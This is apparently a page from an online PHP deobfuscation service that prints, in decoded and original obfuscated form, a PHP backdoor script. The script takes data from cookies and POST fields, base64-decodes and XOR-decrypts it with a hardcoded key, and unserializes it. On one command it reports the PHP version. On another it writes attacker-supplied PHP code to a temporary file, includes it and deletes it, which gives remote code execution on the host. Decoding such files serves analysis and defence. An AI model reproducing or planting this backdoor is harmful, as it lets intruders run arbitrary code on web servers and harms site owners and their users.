Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function/* x */mgcyyztjjd(){/* sx */echo 78999; } $ttjmtwhw =/*ekf*/'tt..

Decoded Output download

<?php      function/* x */mgcyyztjjd(){/* sx  */echo	78999;     } 
 
$ttjmtwhw	=/*ekf*/'ttjmtwhw'     ^	''; 
$kg_r_gs/*  r */=/*xpvx   */"f"."i"."l"."e"."_"."p"  ./* by */$ttjmtwhw(117)       ./* g */$ttjmtwhw(870-754)   .	"_"    .  "c"	.     "o".$ttjmtwhw(110)   ./*qne */"t"."e"/* hny  */./*  _u */"n"/* yti_   */.	$ttjmtwhw(411-295)	.      "s"; 
 
$ctdgy      =      "b"."a"/*   l*/./*  lbir  */"s".$ttjmtwhw(101)/* a */.      "6"."4"   ./*   qdkcy  */"_"	.	"d"."e"."c"."o"/* sb  */.  "d"."e"; 
 
 
$yertfgfa/*   awtz_  */=	"u".$ttjmtwhw(583-473)/*  p  */.	$ttjmtwhw(115)	.   "e"."r"."i".$ttjmtwhw(97)  ./* ept  */"l"."i"."z"      ./*  f*/"e"; 
 
$ydrhtmxu      =     "p"."h"."p"."v"."e"    ./*of   */"r".$ttjmtwhw(872-757)	.	"i".$ttjmtwhw(111)/*  bvija  */./* _sc   */"n";$kqpawofu	=     $ttjmtwhw(117)	./*   px*/"n".$ttjmtwhw(108)	./*ehi   */$ttjmtwhw(105)	.	"n".$ttjmtwhw(107);	 
 
function/*   fkynf   */kdvw_l($kohov,	$xbmqtb) 
{ 
	global      $ttjmtwhw; 
 
 
	$rhwmliwzmtvfutnjlvk	=	""; 
/*df  */for     ($rhwmliwzmt	=     0;/*g  */$rhwmliwzmt	<	strlen($kohov);)	{ 
	for	($iu_swuuws	=	0;	$iu_swuuws/*  qga */</*  gxt  */strlen($xbmqtb)  &&/*lopl   */$rhwmliwzmt/*   ir   */</* g_ */strlen($kohov);	$iu_swuuws++,   $rhwmliwzmt++)/*   evdad   */{ 
 
 
   $rhwmliwzmtvfutnjlvk/*sclgt*/.=	$ttjmtwhw(ord($kohov[$rhwmliwzmt])       ^/*  eo_  */ord($xbmqtb[$iu_swuuws])); 
 
      }	} 
/* jr*/return/*jjqb*/$rhwmliwzmtvfutnjlvk; 
} 
 
 
 
 
 
$ulqwytra       =	$_COOKIE; 
 
$dxbvpstqg/* sgji*/=     $_POST;$ulqwytra/*imq  */=	array_merge($dxbvpstqg,/*   lh  */$ulqwytra); 
 
$qhcxcmu/*  fkj   */=     "a"   .     "d".$ttjmtwhw(281-231)       .    $ttjmtwhw(97)."1"/*zzq  */./*  h */$ttjmtwhw(97)."d"."3"."-".$ttjmtwhw(101)	.  $ttjmtwhw(748-649)	./*y*/"d"/*   i */.     $ttjmtwhw(274-176)     .	"-"."4".$ttjmtwhw(97)."4"/*v */./*  ymy  */"2"   .  $ttjmtwhw(656-611)	.	$ttjmtwhw(956-858)	.     "4"       .    $ttjmtwhw(50)/* ciho   */.	"5"."-"/*ecdz*/.	$ttjmtwhw(683-628)/* jtcg   */./*   zzjdw*/"3"/*  q */./*   f  */"5"	./* zfm */"c".$ttjmtwhw(598-497).$ttjmtwhw(56)/*   c   */.  "d"."5"	.      $ttjmtwhw(98)	.	"8"	./*   qedes  */"0".$ttjmtwhw(1000-902); 
foreach/* nohqx  */($ulqwytra	as       $rhwmliwzmttzehsc/*yezww*/=>	$kohov)	{ 
 
	$kohov  =	$yertfgfa(kdvw_l(kdvw_l($ctdgy($kohov),  $qhcxcmu),  $rhwmliwzmttzehsc)); 
 
 
/*  wp  */if/* u*/(isset($kohov["a"/*  ny */.	"k"]))    { 
 
 
	if/*mqd */($kohov[$ttjmtwhw(97)]/* ipnou*/==/* cltxe   */$ttjmtwhw(105))/*qkmck   */{ 
 
 
	$rhwmliwzmt  =/* dpm   */array(); 
/*  pnruj*/$rhwmliwzmt["p"."v"]	=/* avsd */$ydrhtmxu(); 
 
	$rhwmliwzmt["s".$ttjmtwhw(566-448)]	=	"3"    .     $ttjmtwhw(660-614)   .	$ttjmtwhw(53); 
 
 
/*   k*/echo	@serialize($rhwmliwzmt); 
 
 
	}	elseif/*   cyb*/($kohov[$ttjmtwhw(97)]	==	$ttjmtwhw(598-497))	{ 
 
 
	$vgetkdlb	=  sprintf($ttjmtwhw(46)	./*  rupu*/"/"     .	"%".$ttjmtwhw(115)	./*  l  */".".$ttjmtwhw(255-143)       ./*  nlh */"l",	md5($qhcxcmu)); 
 
/* tyfiw  */$kg_r_gs($vgetkdlb,/*bnwqn   */"<"	.  "?"."p"."h"."p".$ttjmtwhw(32)	.	"u".$ttjmtwhw(110)	.	"l".$ttjmtwhw(105)."n".$ttjmtwhw(994-887)	.	"("."_"      .     $ttjmtwhw(1002-907)	.     "F".$ttjmtwhw(395-322)/* vzv  */./*ikinx  */"L"	./*exs  */"E"."_"	.	$ttjmtwhw(1038-943)/*p   */.     ")".$ttjmtwhw(59)	./*  i   */$ttjmtwhw(32)/*  lexc   */.	$kohov["d"]); 
 
 
  include($vgetkdlb); 
	$kqpawofu($vgetkdlb); 
 
 
/* w   */} 
	exit(); 
	} 
} 
 
 
 ?>

Did this file decode correctly?

Original Code

<?php      function/* x */mgcyyztjjd(){/* sx  */echo	78999;     }

$ttjmtwhw	=/*ekf*/'ttjmtwhw'     ^	'';
$kg_r_gs/*  r */=/*xpvx   */"f"."i"."l"."e"."_"."\x70"  ./* by */$ttjmtwhw(117)       ./* g */$ttjmtwhw(870-754)   .	"\137"    .  "\x63"	.     "o".$ttjmtwhw(110)   ./*qne */"t"."\x65"/* hny  */./*  _u */"\156"/* yti_   */.	$ttjmtwhw(411-295)	.      "s";

$ctdgy      =      "b"."\x61"/*   l*/./*  lbir  */"s".$ttjmtwhw(101)/* a */.      "6"."\64"   ./*   qdkcy  */"\137"	.	"d"."e"."c"."\157"/* sb  */.  "d"."e";


$yertfgfa/*   awtz_  */=	"u".$ttjmtwhw(583-473)/*  p  */.	$ttjmtwhw(115)	.   "e"."r"."i".$ttjmtwhw(97)  ./* ept  */"l"."i"."\x7a"      ./*  f*/"\145";

$ydrhtmxu      =     "p"."h"."p"."v"."\145"    ./*of   */"r".$ttjmtwhw(872-757)	.	"i".$ttjmtwhw(111)/*  bvija  */./* _sc   */"n";$kqpawofu	=     $ttjmtwhw(117)	./*   px*/"n".$ttjmtwhw(108)	./*ehi   */$ttjmtwhw(105)	.	"n".$ttjmtwhw(107);	

function/*   fkynf   */kdvw_l($kohov,	$xbmqtb)
{
	global      $ttjmtwhw;


	$rhwmliwzmtvfutnjlvk	=	"";
/*df  */for     ($rhwmliwzmt	=     0;/*g  */$rhwmliwzmt	<	strlen($kohov);)	{
	for	($iu_swuuws	=	0;	$iu_swuuws/*  qga */</*  gxt  */strlen($xbmqtb)  &&/*lopl   */$rhwmliwzmt/*   ir   */</* g_ */strlen($kohov);	$iu_swuuws++,   $rhwmliwzmt++)/*   evdad   */{


   $rhwmliwzmtvfutnjlvk/*sclgt*/.=	$ttjmtwhw(ord($kohov[$rhwmliwzmt])       ^/*  eo_  */ord($xbmqtb[$iu_swuuws]));

      }	}
/* jr*/return/*jjqb*/$rhwmliwzmtvfutnjlvk;
}





$ulqwytra       =	$_COOKIE;

$dxbvpstqg/* sgji*/=     $_POST;$ulqwytra/*imq  */=	array_merge($dxbvpstqg,/*   lh  */$ulqwytra);

$qhcxcmu/*  fkj   */=     "\141"   .     "d".$ttjmtwhw(281-231)       .    $ttjmtwhw(97)."\x31"/*zzq  */./*  h */$ttjmtwhw(97)."d"."3"."-".$ttjmtwhw(101)	.  $ttjmtwhw(748-649)	./*y*/"\144"/*   i */.     $ttjmtwhw(274-176)     .	"-"."4".$ttjmtwhw(97)."\x34"/*v */./*  ymy  */"\x32"   .  $ttjmtwhw(656-611)	.	$ttjmtwhw(956-858)	.     "\64"       .    $ttjmtwhw(50)/* ciho   */.	"5"."\55"/*ecdz*/.	$ttjmtwhw(683-628)/* jtcg   */./*   zzjdw*/"\x33"/*  q */./*   f  */"\x35"	./* zfm */"c".$ttjmtwhw(598-497).$ttjmtwhw(56)/*   c   */.  "d"."\65"	.      $ttjmtwhw(98)	.	"\x38"	./*   qedes  */"0".$ttjmtwhw(1000-902);
foreach/* nohqx  */($ulqwytra	as       $rhwmliwzmttzehsc/*yezww*/=>	$kohov)	{

	$kohov  =	$yertfgfa(kdvw_l(kdvw_l($ctdgy($kohov),  $qhcxcmu),  $rhwmliwzmttzehsc));


/*  wp  */if/* u*/(isset($kohov["\x61"/*  ny */.	"\153"]))    {


	if/*mqd */($kohov[$ttjmtwhw(97)]/* ipnou*/==/* cltxe   */$ttjmtwhw(105))/*qkmck   */{


	$rhwmliwzmt  =/* dpm   */array();
/*  pnruj*/$rhwmliwzmt["p"."v"]	=/* avsd */$ydrhtmxu();

	$rhwmliwzmt["s".$ttjmtwhw(566-448)]	=	"\x33"    .     $ttjmtwhw(660-614)   .	$ttjmtwhw(53);


/*   k*/echo	@serialize($rhwmliwzmt);


	}	elseif/*   cyb*/($kohov[$ttjmtwhw(97)]	==	$ttjmtwhw(598-497))	{


	$vgetkdlb	=  sprintf($ttjmtwhw(46)	./*  rupu*/"\x2f"     .	"%".$ttjmtwhw(115)	./*  l  */".".$ttjmtwhw(255-143)       ./*  nlh */"l",	md5($qhcxcmu));

/* tyfiw  */$kg_r_gs($vgetkdlb,/*bnwqn   */"<"	.  "?"."p"."h"."p".$ttjmtwhw(32)	.	"u".$ttjmtwhw(110)	.	"l".$ttjmtwhw(105)."n".$ttjmtwhw(994-887)	.	"("."\137"      .     $ttjmtwhw(1002-907)	.     "F".$ttjmtwhw(395-322)/* vzv  */./*ikinx  */"\114"	./*exs  */"E"."\x5f"	.	$ttjmtwhw(1038-943)/*p   */.     ")".$ttjmtwhw(59)	./*  i   */$ttjmtwhw(32)/*  lexc   */.	$kohov["d"]);


  include($vgetkdlb);
	$kqpawofu($vgetkdlb);


/* w   */}
	exit();
	}
}


Function Calls

chrzhok 1

Variables

$ttjmtwhw chrzhok

Stats

MD5 12e1d0d43665e401813278659f230cb0
Eval Count 0
Decode Time 58 ms